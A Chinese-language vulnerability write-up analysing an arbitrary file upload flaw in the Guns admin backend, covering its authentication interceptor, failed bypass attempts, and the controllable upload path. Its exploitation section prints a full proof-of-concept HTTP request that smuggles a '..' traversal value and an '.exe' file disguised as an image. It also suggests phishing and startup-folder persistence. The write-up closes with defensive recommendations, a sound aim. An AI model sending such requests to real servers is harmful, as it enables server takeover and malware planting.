Guns后台任意文件上传漏洞分析
字数 1086 2025-08-22 12:22:54
Guns后台任意文件上传漏洞分析教学文档
漏洞概述
Guns后台系统存在一个任意文件上传漏洞,攻击者可以利用该漏洞上传恶意文件到服务器,可能导致服务器被控制。该漏洞存在于/api/sysFileInfo/upload接口中。
认证机制分析
认证流程
- 系统使用
HandlerInterceptor接口实现权限认证,而非传统的WebSecurityConfigurerAdapter - 认证拦截器为
TokenAndPermissionInterceptor - 认证流程:
- 获取请求URI(
getRequestURI()) - 匹配路由是否被拦截
- 检查是否存在token:
- 存在token:验证token有效性
- 不存在token:在
resourceServiceApi中查找路由资源并判断是否需要权限验证
- 获取请求URI(
认证绕过尝试
- 白名单路由绕过:
- 尝试使用
../绕过,但会被Spring拦截 - 尝试使用
%2e%2e\绕过,但在Tomcat环境中会直接报错
- 尝试使用
- JWT伪造:
- JWT密钥不是硬编码,没有通用性,无法伪造有效token
- 未授权接口利用:
resourcecache中存在一些未授权接口- 这些接口使用
@GetResource注释设置requiredLogin = false - 但分析后发现这些接口本身没有可利用的漏洞
任意文件上传漏洞分析
漏洞位置
- 接口路径:
/api/sysFileInfo/upload - 请求方法:POST
漏洞原理
- 文件上传时,系统使用
fieldid拼接文件路径 - 存在两种控制方式:
- 控制文件名:则文件夹路径由
fieldid决定 - 控制文件夹:则文件名由
fieldid加后缀决定
- 控制文件名:则文件夹路径由
- 文件名或文件夹路径可控,导致任意文件上传
漏洞利用
- 示例请求:
POST /api/sysFileInfo/upload HTTP/1.1
Host: 192.168.91.130:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.91.1:9000/system/structure/user
Authorization: eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI1NmQzZjczNy1hNjU1LTRjYzgtODRkNi0xNDdjYTE1M2Y5OGIiLCJyZW1lbWJlck1lIjpmYWxzZSwiZXhwaXJhdGlvbkRhdGUiOjE3MzUxMDM0MDM0ODgsImNhVG9rZW4iOm51bGwsIm90aGVycyI6bnVsbCwic3ViIjoiMTMzOTU1MDQ2NzkzOTYzOTI5OSIsImlhdCI6MTczNDQ5ODYwMywiZXhwIjoxNzM1MTAzNDAzfQ.Ur3bUwltSXWUtIT1OOR4MV4frJeRy_MDEkmYg99F5L2DOx6C4ha_y476dTWMy7gAJZsq5x_2C_VEkWxWv7uHXw
Content-Type: multipart/form-data; boundary=-4047569836919132683218702
Content-Length: 510
Origin: http://192.168.91.130:9000
Connection: close
--4047569836919132683218702
Content-Disposition: form-data; name="file"; filename=".exe"
Content-Type: image/png
1111
--4047569836919132683218702
Content-Disposition: form-data; name="secretFlag"
N
--4047569836919132683218702
Content-Disposition: form-data; name="fileBucket"
..
看到请点击exe备份
--4047569836919132683218702--
- 利用场景:
- 钓鱼攻击:上传恶意可执行文件
- 持久化攻击:如果项目在C盘,可以将恶意文件放入启动项实现持久化
防御建议
-
文件上传安全措施:
- 严格校验文件类型,不仅检查Content-Type,还应检查文件内容
- 限制上传文件扩展名
- 禁止使用用户可控的路径拼接
- 将上传文件存储在非web可访问目录
-
认证增强:
- 对所有敏感接口实施严格的权限验证
- 避免使用
requiredLogin = false的注解 - 定期轮换JWT密钥
-
其他安全措施:
- 实施WAF防护,拦截恶意文件上传尝试
- 定期进行安全审计和渗透测试
总结
该漏洞的核心问题在于文件上传路径的可控性,结合认证机制中的某些设计缺陷,导致攻击者可以上传任意文件。修复时应重点关注文件上传路径的生成逻辑和权限验证机制。